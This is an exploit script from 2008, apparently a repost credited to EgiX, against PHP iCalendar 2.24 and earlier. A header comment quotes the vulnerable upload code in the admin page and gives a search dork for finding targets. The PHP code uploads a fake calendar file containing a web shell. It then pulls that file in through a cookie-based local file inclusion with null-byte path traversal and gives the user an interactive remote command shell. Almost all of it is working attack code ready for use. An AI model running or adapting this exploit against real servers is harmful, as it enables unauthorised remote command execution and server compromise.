PHP iCalendar <= 2.24 (cookie_language) LFI / File Upload Exploit

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PHP iCalendar <= 2.24 (cookie_language) LFI / File Upload Exploit

来源：n0b0d13s[at]gmail[dot]com 作者：EgiX 发布时间：2008-09-22

<?php

/*
-----------------------------------------------------------------
PHP iCalendar <= 2.24 (cookie_language) LFI / File Upload Exploit
-----------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://phpicalendar.net/
dork.....: "Powered by PHP iCalendar"

[-] vulnerable code in /admin/index.php

65. // Add or Update a calendar
66. $addupdate_msg = '';
67. if ((isset($_POST['action'])) && ($_POST['action'] == 'addupdate')) {
68. for ($filenumber = 1; $filenumber < 6; $filenumber++) {
69. $file = $_FILES['calfile'];
70. $addupdate_success = FALSE;
71.
72. if (!is_uploaded_file_v4($file['tmp_name'][$filenumber])) {
73. $upload_error = get_upload_error($file['error'][$filenumber]);
74. } elseif (!is_uploaded_ics($file['name'][$filenumber])) {
75. $upload_error = $upload_error_type_lang;
76. } elseif (!copy_cal($file['tmp_name'][$filenumber], $file['name'][$filenumber])) {
77. $upload_error = $copy_error_lang . " " . $file['tmp_name'][$filenumber] . " - " . $calendar_path . "/" . $file['name'][$filenumber];
78. } else {
79. $addupdate_success = TRUE;
80. }
81.
82. if ($addupdate_success == TRUE) {
83. $addupdate_msg = $addupdate_msg . ''.$lang['l_cal_file'].' #'.$filenumber.': '.$lang['l_action_success'].' ';
84. } else {
85. $addupdate_msg = $addupdate_msg . ''.$lang['l_cal_file'].' #'.$filenumber.': '.$lang['l_upload_error'].' ';
86. }
87. }
88. }

restricted access to this script isn't properly realized, so an attacker might be able to upload a calendar file
(with .ics extension) into /calendars directory...multiple file extensions isn't checked, but 'ics' is generally
recognized as text/calendar MIME type by most servers...so this poc try to include the uploaded file using the
same LFI bug found by rgod (http://retrogod.altervista.org/phpical_221_incl_xpl.html), that isn't still patched!
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}

print "\n+---------------------------------------------------------------------------+";
print "\n| PHP iCalendar <= 2.24 (cookie_language) LFI / File Upload Exploit by EgiX |";
print "\n+---------------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /phpicalendar/\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";
$payload .= "addupdate\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"calfile[1]\"; filename=\"fake_cal.ics\"\r\n\r\n";
$payload .= "BEGIN:VCALENDAR\n<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die()} ?>\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet = "POST {$path}admin/index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

http_send($host, $packet);

$packet = "GET {$path}preferences.php?action=setcookie HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

preg_match("/Set-Cookie: (phpicalendar_[^=]*)=/", http_send($host, $packet), $cookie);

$data = urlencode(serialize(array("cookie_language" => "../calendars/fake_cal.ics".chr(0))));

while(1)
{
print "\nphpicalendar-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}print.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$cookie[1]}={$data}\r\n";
$packet .= "Cmd: ".base64_encode($cmd)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$output = http_send($host, $packet);
$shell = explode("_code_", $output);
preg_match("/_code_/", $output) ? print "\n{$shell[1]}" : die("\n[-] Exploit failed...\n");
}
else break;
}

?>

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